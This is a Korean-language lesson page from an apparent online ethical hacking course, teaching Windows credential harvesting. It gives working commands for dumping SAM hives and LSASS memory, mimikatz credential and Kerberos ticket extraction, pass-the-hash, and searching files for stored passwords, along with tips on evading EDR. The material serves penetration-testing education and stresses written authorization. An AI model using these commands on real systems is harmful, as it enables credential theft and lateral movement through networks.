Ethical Hacking Academy · 강의

자격 증명 수집

비밀 정보 덤프하기

레슨 4/413개 단계

자격 증명 수집은(는) CoddyKit의 무료 Ethical Hacking Academy 강의입니다. 이것은 4개 중 4번째 강의입니다. 아래에서 전체 강의를 무료로 읽을 수 있으며, 내장 코드 에디터와 24/7 AI 튜터와 함께 브라우저에서 직접 실습할 수 있습니다. 이 강의는 Ethical Hacking Academy 학습 경로의 일부이며, 진행 상황이 웹과 CoddyKit 앱에 동기화됩니다. Ethical Hacking Academy 강의에는 총 4개의 강의가 포함되어 있습니다.

자격 증명을 수집하는 이유

SYSTEM에 도달한 후에도 실제 목표는 대개 자격 증명입니다. 여기에는 암호 해시, 평문 암호, 다른 시스템으로 이동하고 도메인에 접근할 수 있게 해 주는 티켓이 포함됩니다. 자격 증명 수집은 한 대의 시스템을 전체 네트워크로 확장하는 수단입니다.

SAM 데이터베이스

로컬 계정 해시는 SAM 레지스트리 하이브에 저장되며, SYSTEM 하이브에 있는 키로 암호화됩니다. SYSTEM 액세스 권한이 있으면 두 하이브를 모두 덤프하여 NTLM 해시를 오프라인에서 추출할 수 있습니다.

reg save HKLM\SAM sam.save
reg save HKLM\SYSTEM system.save
# then: secretsdump.py -sam sam.save -system system.save LOCAL

LSASS 메모리

LSASS 프로세스는 로그인한 사용자의 자격 증명을 메모리에 보관하며, 여기에는 평문 자격 증명이나 재사용 가능한 NTLM 해시, Kerberos 티켓이 포함되는 경우가 많습니다. LSASS 덤프는 가장 가치가 높은 수집 작업입니다.

rundll32 comsvcs.dll, MiniDump <lsass_pid> C:\Temp\lsass.dmp full

미미카츠

미미카츠는 대표적인 자격 증명 추출 도구입니다. sekurlsa::logonpasswords는 LSASS에서 자격 증명을 가져오며, 티켓 추출, 해시 통과 공격, SAM 덤프도 수행할 수 있습니다.

privilege::debug
sekurlsa::logonpasswords
lsadump::sam

해시 통과 공격

해시를 반드시 해독해야 하는 것은 아닙니다. 해시 통과 공격은 NTLM 해시를 직접 사용하여 인증합니다. 따라서 로컬 관리자 자격 증명을 공유하는 시스템 사이에서 이동하려면 해시를 덤프하는 것만으로 충분합니다.

pth-winexe -U "admin%aad3b...:31d6c..." //10.0.0.6 cmd
# or evil-winrm -i host -u admin -H <NThash>

캐시된 도메인 자격 증명

도메인에 가입된 시스템은 사용자가 오프라인으로 로그인할 수 있도록 최근 로그인 정보(MSCache/DCC2)를 캐시합니다. 이러한 캐시된 해시는 덤프한 뒤 오프라인에서 해독할 수 있으며(느리지만), 도메인 암호를 얻을 수 있습니다.

secretsdump.py -system system.save -security security.save LOCAL

저장된 자격 증명

Windows는 자격 증명 관리자 / 보관소와 DPAPI로 보호되는 데이터 블록에 자격 증명을 저장합니다(저장된 RDP, 브라우저 암호, Wi-Fi 정보). SYSTEM 권한과 마스터 키가 있으면 이를 복호화할 수 있습니다.

cmdkey /list
vaultcmd /listcreds
mimikatz: dpapi::cred /in:<blob>

Kerberos 티켓 탈취

Active Directory에서 미미카츠의 sekurlsa::tickets는 Kerberos TGT/TGS를 내보냅니다. 탈취한 티켓을 사용하면 티켓 통과 공격이 가능하며, 도메인 관리자 TGT는 골든/실버 티켓을 통한 지속성으로 이어질 수 있습니다.

sekurlsa::tickets /export

비밀이 포함된 파일과 스크립트

쉽게 얻을 수 있는 정보도 놓치지 마십시오. 스크립트, 구성 파일, 평문 자격 증명으로 가득한 기록을 확인해야 합니다. PowerShell 기록, 무인 설치 파일, IIS web.config 연결 문자열에는 암호가 포함되어 있는 경우가 많습니다.

type %APPDATA%\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
findstr /si "password connectionString" *.config

정리와 OPSEC

LSASS 덤프는 EDR에서 집중적으로 모니터링하며, Defender Credential Guard가 이를 차단할 수도 있습니다. 보안 평가에서는 은밀한 방법을 우선 사용하고, 덤프 파일을 정리하며, 보고서에 액세스한 내용을 기록하십시오.

윤리와 승인

자격 증명 수집은 조직의 가장 민감한 비밀을 노출합니다. 덤프한 자격 증명을 안전하게 처리하고, 승인된 범위를 넘어 반출하지 말며, 명시적인 서면 승인을 받은 경우에만 작업하십시오.

빠른 확인

자격 증명 수집에 대한 지식을 확인해 보십시오.

인터랙티브 레슨에서 답해보세요

복습

자격 증명 수집에 대해 다음을 배웠습니다.

로컬 해시를 얻으려면 SAM을, 로그인한 사용자와 티켓을 얻으려면 LSASS를 덤프합니다.
미미카츠는 암호, 해시, Kerberos 티켓을 추출합니다.
해시 통과 공격 / 티켓 통과 공격을 사용하면 해독 없이 다른 시스템으로 이동할 수 있습니다.
비밀 정보가 있는지 자격 증명 관리자, DPAPI, 구성 파일과 기록 파일을 확인합니다.

이로써 Windows 권한 상승 과정이 끝났습니다.

무료로 시작

AI 튜터와 함께 Ethical Hacking Academy을(를) 배우세요 — 무료

브라우저에서 실제 코드를 작성하고 실행하며, 24/7 AI 튜터로부터 즉각적인 도움을 받고, 웹이나 앱에서 중단한 부분부터 계속 학습하세요.

코스: 31
레슨: 111

무료로 학습 시작 전체 코스 보기

자주 묻는 질문

“자격 증명 수집” 강의는 무료인가요?

네 — “자격 증명 수집” 전체 내용을 이 웹사이트에서 무료로 읽을 수 있습니다. 인터랙티브하게 실습하려면(내장 코드 에디터와 24/7 AI 튜터), CoddyKit PRO로 업그레이드하면 Ethical Hacking Academy 강의 전체를 잠금 해제할 수 있습니다. Ethical Hacking Academy 강의에는 총 4개의 강의가 포함되어 있습니다.

“자격 증명 수집”에서 뭘 배우나요?

비밀 정보 덤프하기 브라우저에서 직접 실행하는 실습 코드로 Ethical Hacking Academy을(를) 배우며, 24/7 AI 튜터가 강의를 진행하면서 질문에 답변해줍니다.

Ethical Hacking Academy을(를) 시작하는 데 경험이 필요한가요?

사전 경험은 필요하지 않습니다. CoddyKit의 Ethical Hacking Academy은(는) 초급자부터 고급 학습자까지를 위해 구성되어 있으므로, 여기서 시작하거나 처음부터 시작할 수 있으며 자신의 속도대로 진행할 수 있습니다. 이것은 4개 중 4번째 강의입니다.

“자격 증명 수집” 강의는 얼마나 걸리나요?

대부분의 CoddyKit 강의는 약 5~10분이 소요됩니다. 각 강의는 간결하고 인터랙티브하여 꾸준한 진행이 가능하며, 웹과 앱에서 중단한 부분부터 바로 시작할 수 있습니다.

이 Ethical Hacking Academy 강의에서 코드를 작성하고 실행할 수 있나요?

네. 모든 Ethical Hacking Academy 강의에는 내장 코드 에디터가 포함되어 있으므로, 브라우저에서 바로 실제 코드를 작성하고 실행한 후 즉시 AI 피드백을 받을 수 있습니다 — 로컬 설정이 필요 없습니다.

이 강의의 모든 강의

← Ethical Hacking Academy(으)로 돌아가기